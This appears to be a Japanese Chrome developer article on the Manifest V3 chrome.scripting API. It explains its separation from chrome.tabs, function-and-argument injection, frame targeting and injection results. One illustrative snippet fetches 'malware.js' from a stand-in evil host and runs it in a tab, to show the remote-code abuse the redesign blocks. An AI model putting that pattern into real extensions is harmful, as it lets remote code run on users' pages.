chrome.scripting のご紹介

Manifest V3 では、Chrome の拡張機能プラットフォームに多くの変更が加えられています。この記事では、chrome.scripting API の導入という、特に注目すべき変更の背景と変更内容について説明します。

chrome.scripting とは何ですか?

名前が示すように、chrome.scripting は Manifest V3 で導入された新しい名前空間で、スクリプトとスタイルの挿入機能を担当します。

これまでに Chrome 拡張機能を作成したことがあるデベロッパーは、Tabs API の Manifest V2 メソッド(chrome.tabs.executeScriptchrome.tabs.insertCSS など)に精通しているかもしれません。これらのメソッドを使用すると、拡張機能はそれぞれスクリプトとスタイルシートをページに挿入できます。Manifest V3 では、これらの機能は chrome.scripting に移動されています。今後、この API に新機能を追加する予定です。

新しい API を作成する理由

このような変更について、最初に聞かれる質問の 1 つは「なぜ?」です。

Chrome チームは、いくつかの要因に基づいて、スクリプティング用の新しい名前空間を導入することにしました。まず、Tabs API は、機能のゴミ箱のようなものです。2 つ目は、既存の executeScript API に互換性を破る変更を加える必要があったことです。3 つ目は、拡張機能のスクリプト機能を拡張したいという点です。これらの懸念事項を踏まえ、スクリプト機能を格納する新しい Namespace の必要性が明確になりました。

ゴミ箱のドロワー

過去数年間、拡張機能チームを悩ませてきた問題の 1 つが、chrome.tabs API の過負荷です。この API が最初に導入されたとき、提供される機能のほとんどは、ブラウザタブの広範なコンセプトに関連していました。それでも、その時点では、さまざまな機能が混在しており、年月とともにこのコレクションは拡大し続けています。

Manifest V3 がリリースされるまでに、Tabs API は、基本的なタブ管理、選択管理、ウィンドウの整理、メッセージング、ズーム制御、基本的なナビゲーション、スクリプト、その他のいくつかの小さな機能をカバーするように拡張されました。これらはすべて重要ですが、デベロッパーが初めて利用する際には少し圧倒されるかもしれません。また、Chrome チームがプラットフォームを維持し、デベロッパー コミュニティからのリクエストを検討する際にも、負担になる可能性があります。

複雑さを増す要因として、tabs 権限が十分に理解されていないことも挙げられます。他の多くの権限は特定の API へのアクセスを制限しますが(storage など)、この権限はタブ インスタンスの機密性の高いプロパティへのアクセスのみを拡張機能に許可するという点で、少し異なります(拡張機能によって Windows API にも影響します)。多くの拡張機能デベロッパーは、Tabs API のメソッド(chrome.tabs.createchrome.tabs.executeScript など)にアクセスするにはこの権限が必要だと誤って考えています。Tabs API から機能を移動することで、この混乱を解消できます。

破壊的変更

Manifest V3 の設計時に対処しようとした主な問題の 1 つは、「リモートでホストされるコード」によって可能になる不正使用とマルウェアです。このコードは実行されますが、拡張機能パッケージには含まれません。不正な拡張機能の作成者は、リモート サーバーから取得したスクリプトを実行してユーザーデータを盗んだり、マルウェアを挿入したり、検出を回避したりすることがよくあります。善意のユーザーもこの機能を使用していますが、最終的には、そのままにしておくのはあまりにも危険であると判断しました。

拡張機能でバンドルされていないコードを実行する方法はいくつかありますが、ここでは Manifest V2 の chrome.tabs.executeScript メソッドが関連しています。このメソッドを使用すると、拡張機能はターゲット タブで任意のコード文字列を実行できます。つまり、悪意のあるデベロッパーは、リモート サーバーから任意のスクリプトを取得し、拡張機能がアクセスできる任意のページ内で実行できます。リモートコードの問題に対処するには、この機能を削除する必要があることがわかっていました。

(async function() {
  let result = await fetch('https://evil.example.com/malware.js');
  let script = await result.text();

  chrome.tabs.executeScript({
    code: script,
  });
})();

また、Manifest V2 バージョンの設計に関する他の微妙な問題をクリーンアップし、API をより洗練された予測可能なツールにしたいと考えました。

Tabs API 内でこのメソッドのシグネチャを変更することもできましたが、互換性のない変更と新しい機能の導入(次のセクションで説明)の間に、完全に切り替える方がすべてのユーザーにとって簡単であると考えました。

スクリプト機能の拡張

Manifest V3 の設計プロセスで考慮されたもう 1 つの点は、Chrome の拡張機能プラットフォームに追加のスクリプト機能を導入することです。具体的には、動的コンテンツ スクリプトのサポートを追加し、executeScript メソッドの機能を拡張することを目的としています。

動的コンテンツ スクリプトのサポートは、Chromium で長い間リクエストされていた機能です。現在、Manifest V2 と V3 の Chrome 拡張機能では、manifest.json ファイルでコンテンツ スクリプトを静的に宣言することしかできません。プラットフォームには、新しいコンテンツ スクリプトを登録する方法、コンテンツ スクリプトの登録を調整する方法、実行時にコンテンツ スクリプトを登録解除する方法がありません。

この機能リクエストには Manifest V3 で対応したいと考えていました。しかし、既存の API のどれもが適切とは言えませんでした。また、Firefox の Content Scripts API との連携も検討しましたが、このアプローチにはいくつかの大きな欠点があることが早い段階で判明しました。まず、互換性のないシグネチャがあることがわかりました(code プロパティのサポートの終了など)。2 つ目は、Google の API には、サービス ワーカーの存続期間を超えて登録を保持する必要があるなど、異なる設計上の制約がありました。最後に、この Namespace は、拡張機能でのスクリプト作成をより広範に検討しているコンテンツ スクリプト機能に限定されることになります。

executeScript については、Tabs API バージョンでサポートされている範囲を超えて、この API でできることを拡張することも目的としています。具体的には、関数と引数をサポートし、特定のフレームをより簡単にターゲットに設定し、「タブ」以外のコンテキストをターゲットに設定できるようにしました。

今後は、拡張機能がインストール済みの PWA や、コンセプト上「タブ」にマッピングされない他のコンテキストとどのようにやり取りできるかについても検討しています。

tabs.executeScript と scripting.executeScript の変更

以降では、chrome.tabs.executeScriptchrome.scripting.executeScript の類似点と相違点について詳しく説明します。

引数付き関数を挿入する

リモートでホストされるコードの制限を考慮してプラットフォームをどのように進化させるか検討する際に、任意のコード実行の力と、静的コンテンツ スクリプトのみを許可することとのバランスを取ることを目標としました。解決策として、拡張機能がコンテンツ スクリプトとして関数を挿入し、値の配列を引数として渡すことを許可することにしました。

簡単な例を見てみましょう。たとえば、ユーザーが拡張機能のアクション ボタン(ツールバーのアイコン)をクリックしたときに、ユーザーの名前で挨拶するスクリプトを挿入するとします。Manifest V2 では、コード文字列を動的に作成し、そのスクリプトを現在のページで実行できました。

// Manifest V2 extension
chrome.browserAction.onClicked.addListener(async (tab) => {
  let userReq = await fetch('https://example.com/greet-user.js');
  let userScript = await userReq.text();

  chrome.tabs.executeScript({
    // userScript == 'alert("Hello, <GIVEN_NAME>!")'
    code: userScript,
  });
});

Manifest V3 拡張機能では、拡張機能にバンドルされていないコードを使用できませんが、Manifest V2 拡張機能で任意のコードブロックが有効にしたダイナミズムの一部を維持することが目標でした。関数と引数のアプローチにより、Chrome ウェブストアの審査担当者、ユーザー、その他の関係者は拡張機能がもたらすリスクをより正確に評価できるようになります。また、デベロッパーはユーザー設定やアプリケーションの状態に基づいて拡張機能のランタイム動作を変更することもできます。

// Manifest V3 extension
function greetUser(name) {
  alert(`Hello, ${name}!`);
}
chrome.action.onClicked.addListener(async (tab) => {
  let userReq = await fetch('https://example.com/user-data.json');
  let user = await userReq.json();
  let givenName = user.givenName || '<GIVEN_NAME>';

  chrome.scripting.executeScript({
    target: {tabId: tab.id},
    func: greetUser,
    args: [givenName],
  });
});

ターゲティング フレーム

また、改訂版の API では、デベロッパーがフレームとやり取りする方法も改善されています。executeScript の Manifest V2 バージョンでは、デベロッパーはタブ内のすべてのフレームまたはタブ内の特定のフレームをターゲットに設定できました。chrome.webNavigation.getAllFrames を使用すると、タブ内のすべてのフレームのリストを取得できます。

// Manifest V2 extension
chrome.browserAction.onClicked.addListener((tab) => {
  chrome.webNavigation.getAllFrames({tabId: tab.id}, (frames) => {
    let frame1 = frames[0].frameId;
    let frame2 = frames[1].frameId;

    chrome.tabs.executeScript(tab.id, {
      frameId: frame1,
      file: 'content-script.js',
    });
    chrome.tabs.executeScript(tab.id, {
      frameId: frame2,
      file: 'content-script.js',
    });
  });
});

マニフェスト V3 では、オプション オブジェクトのオプションの整数プロパティ frameId を、オプションの整数の配列 frameIds に置き換えました。これにより、デベロッパーは 1 回の API 呼び出しで複数のフレームをターゲットにできます。

// Manifest V3 extension
chrome.action.onClicked.addListener(async (tab) => {
  let frames = await chrome.webNavigation.getAllFrames({tabId: tab.id});
  let frame1 = frames[0].frameId;
  let frame2 = frames[1].frameId;

  chrome.scripting.executeScript({
    target: {
      tabId: tab.id,
      frameIds: [frame1, frame2],
    },
    files: ['content-script.js'],
  });
});

スクリプト挿入の結果

また、Manifest V3 でスクリプト挿入結果を返す方法も改善されました。「結果」とは、基本的にスクリプトで評価される最後のステートメントです。これは、eval() を呼び出すか、Chrome DevTools コンソールでコードブロックを実行したときに返される値に似ていますが、結果をプロセス間で渡すためにシリアル化されています。

Manifest V2 では、executeScriptinsertCSS は単純な実行結果の配列を返します。挿入ポイントが 1 つしかない場合は問題ありませんが、複数のフレームに挿入する場合、結果の順序は保証されません。そのため、どの結果がどのフレームに関連付けられているかを判断する方法はありません。

具体的な例として、同じ拡張機能の Manifest V2 バージョンと Manifest V3 バージョンから返される results 配列を見てみましょう。どちらのバージョンの拡張機能でも同じコンテンツ スクリプトが挿入されます。結果は同じデモページで比較します。

// content-script.js
var headers = document.querySelectorAll('p');
headers.length;

Manifest V2 バージョンを実行すると、[1, 0, 5] の配列が返されます。どちらの結果がメインフレームに対応し、どちらが iframe に対応していますか?戻り値からは判断できないため、確実なことはわかりません。

// Manifest V2 extension
chrome.browserAction.onClicked.addListener((tab) => {
  chrome.tabs.executeScript({
    allFrames: true,
    file: 'content-script.js',
  }, (results) => {
    // results == [1, 0, 5]
    for (let result of results) {
      if (result > 0) {
        // Do something with the frame... which one was it?
      }
    }
  });
});

マニフェスト V3 バージョンでは、results に評価結果の配列ではなく結果オブジェクトの配列が含まれるようになりました。結果オブジェクトには、各結果のフレームの ID が明確に識別されます。これにより、デベロッパーは結果を活用して特定のフレームに対してアクションを実行しやすくなります。

// Manifest V3 extension
chrome.action.onClicked.addListener(async (tab) => {
  let results = await chrome.scripting.executeScript({
    target: {tabId: tab.id, allFrames: true},
    files: ['content-script.js'],
  });
  // results == [
  //   {frameId: 0, result: 1},
  //   {frameId: 1235, result: 5},
  //   {frameId: 1234, result: 0}
  // ]

  for (let result of results) {
    if (result.result > 0) {
      console.log(`Found ${result} p tag(s) in frame ${result.frameId}`);
      // Found 1 p tag(s) in frame 0
      // Found 5 p tag(s) in frame 1235
    }
  }
});

まとめ

マニフェストのバージョンを上げる際には、拡張機能の API を見直してモダナイズする絶好の機会です。Manifest V3 の目標は、拡張機能の安全性を高めながら、デベロッパー エクスペリエンスを向上させることで、エンドユーザー エクスペリエンスを改善することです。マニフェスト V3 で chrome.scripting を導入することで、Tabs API のクリーンアップ、より安全な拡張機能プラットフォーム向けの executeScript の再設計、今年後半に予定されている新しいスクリプト機能の基盤を築くことができました。